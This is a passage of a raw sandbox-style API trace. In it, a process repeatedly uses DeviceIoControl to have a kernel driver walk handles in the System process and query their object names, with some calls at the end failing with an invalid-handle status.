ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.860] ObReferenceObjectByHandle (in: Handle=0xffffffff800009b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80026dd050, HandleInformation=0x0) returned 0x0 [0089.860] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.860] PsReleaseProcessExitSynchronization () returned 0x2 [0089.860] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.860] ObQueryNameString (in: Object=0xfffffa80026dd050, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.860] ObfDereferenceObject (Object=0xfffffa80026dd050) returned 0x2 [0089.860] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.860] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.861] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.861] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.861] PsAcquireProcessExitSynchronization () returned 0x0 [0089.861] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.861] ObReferenceObjectByHandle (in: Handle=0xffffffff800009c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8009f8af20, HandleInformation=0x0) returned 0x0 [0089.861] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.861] PsReleaseProcessExitSynchronization () returned 0x2 [0089.861] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.861] ObQueryNameString (in: Object=0xfffffa8009f8af20, ObjectNameInfo=0xfffffa8003a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.861] ObfDereferenceObject (Object=0xfffffa8009f8af20) returned 0x2 [0089.861] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.861] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.861] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.861] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.861] PsAcquireProcessExitSynchronization () returned 0x0 [0089.861] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.861] ObReferenceObjectByHandle (in: Handle=0xffffffff800009cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003733d00, HandleInformation=0x0) returned 0x0 [0089.861] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.861] PsReleaseProcessExitSynchronization () returned 0x2 [0089.861] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.861] ObQueryNameString (in: Object=0xfffffa8003733d00, ObjectNameInfo=0xfffffa8003a21044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a21044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.861] ObfDereferenceObject (Object=0xfffffa8003733d00) returned 0x2 [0089.861] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.861] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.861] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.861] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.861] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.861] PsAcquireProcessExitSynchronization () returned 0x0 [0089.861] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.861] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800f5f7050, HandleInformation=0x0) returned 0x0 [0089.861] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.862] PsReleaseProcessExitSynchronization () returned 0x2 [0089.862] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.862] ObQueryNameString (in: Object=0xfffffa800f5f7050, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.862] ObfDereferenceObject (Object=0xfffffa800f5f7050) returned 0x2 [0089.862] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.862] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.862] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.862] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.862] PsAcquireProcessExitSynchronization () returned 0x0 [0089.862] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.862] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037a73e0, HandleInformation=0x0) returned 0x0 [0089.862] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.862] PsReleaseProcessExitSynchronization () returned 0x2 [0089.862] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.862] ObQueryNameString (in: Object=0xfffffa80037a73e0, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.862] ObfDereferenceObject (Object=0xfffffa80037a73e0) returned 0x2 [0089.862] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.862] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.862] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.862] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.862] PsAcquireProcessExitSynchronization () returned 0x0 [0089.862] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.862] ObReferenceObjectByHandle (in: Handle=0xffffffff800009e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037aedf0, HandleInformation=0x0) returned 0x0 [0089.862] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.862] PsReleaseProcessExitSynchronization () returned 0x2 [0089.862] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.862] ObQueryNameString (in: Object=0xfffffa80037aedf0, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.862] ObfDereferenceObject (Object=0xfffffa80037aedf0) returned 0x2 [0089.862] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.862] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.862] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.862] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.862] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.863] PsAcquireProcessExitSynchronization () returned 0x0 [0089.863] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.863] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0089.863] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.863] PsReleaseProcessExitSynchronization () returned 0x2 [0089.863] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.863] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa8003a77044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a77044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.863] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0089.863] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.863] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.863] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.863] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.863] PsAcquireProcessExitSynchronization () returned 0x0 [0089.863] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.863] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c35870, HandleInformation=0x0) returned 0x0 [0089.863] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.863] PsReleaseProcessExitSynchronization () returned 0x2 [0089.863] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.863] ObQueryNameString (in: Object=0xfffffa8003c35870, ObjectNameInfo=0xfffffa8003a78044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a78044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.863] ObfDereferenceObject (Object=0xfffffa8003c35870) returned 0x2 [0089.863] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.863] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.863] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.863] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.863] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.863] PsAcquireProcessExitSynchronization () returned 0x0 [0089.863] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.863] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037b03a0, HandleInformation=0x0) returned 0x0 [0089.863] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.863] PsReleaseProcessExitSynchronization () returned 0x2 [0089.863] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.863] ObQueryNameString (in: Object=0xfffffa80037b03a0, ObjectNameInfo=0xfffffa8003a79044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a79044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.863] ObfDereferenceObject (Object=0xfffffa80037b03a0) returned 0x2 [0089.863] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.864] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.864] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.864] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.864] PsAcquireProcessExitSynchronization () returned 0x0 [0089.864] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.864] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037b5f20, HandleInformation=0x0) returned 0x0 [0089.864] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.864] PsReleaseProcessExitSynchronization () returned 0x2 [0089.864] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.864] ObQueryNameString (in: Object=0xfffffa80037b5f20, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.864] ObfDereferenceObject (Object=0xfffffa80037b5f20) returned 0x2 [0089.864] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.864] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.864] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.864] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.864] PsAcquireProcessExitSynchronization () returned 0x0 [0089.864] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.864] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037b4510, HandleInformation=0x0) returned 0x0 [0089.864] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.864] PsReleaseProcessExitSynchronization () returned 0x2 [0089.864] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.864] ObQueryNameString (in: Object=0xfffffa80037b4510, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.864] ObfDereferenceObject (Object=0xfffffa80037b4510) returned 0x2 [0089.864] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.864] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.864] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.864] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.864] PsAcquireProcessExitSynchronization () returned 0x0 [0089.864] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.864] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0089.865] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.865] PsReleaseProcessExitSynchronization () returned 0x2 [0089.865] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.865] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.865] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0089.865] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.865] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.865] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.865] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.865] PsAcquireProcessExitSynchronization () returned 0x0 [0089.865] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.865] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032f6cf0, HandleInformation=0x0) returned 0x0 [0089.865] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.865] PsReleaseProcessExitSynchronization () returned 0x2 [0089.865] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.865] ObQueryNameString (in: Object=0xfffffa80032f6cf0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.865] ObfDereferenceObject (Object=0xfffffa80032f6cf0) returned 0x2 [0089.865] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.865] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.865] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.865] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.865] PsAcquireProcessExitSynchronization () returned 0x0 [0089.865] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.865] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80037f0b60, HandleInformation=0x0) returned 0x0 [0089.865] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.865] PsReleaseProcessExitSynchronization () returned 0x2 [0089.865] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.865] ObQueryNameString (in: Object=0xfffffa80037f0b60, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.865] ObfDereferenceObject (Object=0xfffffa80037f0b60) returned 0x2 [0089.866] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.866] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.866] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.866] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.866] PsAcquireProcessExitSynchronization () returned 0x0 [0089.866] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.866] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.866] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.866] PsReleaseProcessExitSynchronization () returned 0x2 [0089.866] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.866] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.866] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.866] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.866] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.866] PsAcquireProcessExitSynchronization () returned 0x0 [0089.866] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.866] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0089.866] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.866] PsReleaseProcessExitSynchronization () returned 0x2 [0089.866] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x146 [0089.866] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0089.866] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.866] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f205e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0089.866] PsLookupProcessByProcessId (in: 